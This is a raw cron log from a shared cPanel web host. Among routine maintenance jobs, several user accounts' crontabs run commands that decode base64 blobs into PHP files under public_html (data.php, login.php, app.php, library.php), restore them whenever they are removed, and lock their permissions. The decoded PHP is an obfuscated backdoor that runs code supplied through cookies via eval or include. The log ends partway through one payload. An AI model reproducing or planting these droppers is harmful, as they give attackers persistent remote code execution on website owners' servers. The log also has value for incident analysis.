Jun  7 10:20:02 medusa CROND[5140]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:20:02 medusa CROND[5142]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:20:02 medusa CROND[5141]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 10:20:02 medusa CROND[5145]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 10:20:02 medusa CROND[5146]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 10:20:02 medusa CROND[5153]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:20:02 medusa CROND[5152]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:20:02 medusa CROND[5154]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:20:02 medusa CROND[5155]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:20:02 medusa CROND[5144]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 10:20:02 medusa CROND[5135]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 10:20:02 medusa CROND[5162]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:20:02 medusa CROND[5139]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 10:20:02 medusa CROND[5151]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 10:21:01 medusa CROND[6943]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:21:01 medusa CROND[6990]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 10:21:01 medusa CROND[7005]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:21:01 medusa CROND[7006]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:21:01 medusa CROND[7007]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 10:21:01 medusa CROND[7008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:21:01 medusa CROND[7011]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:21:01 medusa CROND[7009]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:21:01 medusa CROND[7012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:21:01 medusa CROND[7010]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:21:01 medusa CROND[7014]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 10:21:01 medusa CROND[7017]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:21:01 medusa CROND[7018]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:21:01 medusa CROND[7038]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:22:02 medusa CROND[8697]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:22:02 medusa CROND[8729]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:22:02 medusa CROND[8730]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:22:02 medusa CROND[8731]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:22:02 medusa CROND[8732]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 10:22:02 medusa CROND[8733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:22:02 medusa CROND[8737]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:22:02 medusa CROND[8738]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:22:02 medusa CROND[8739]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjp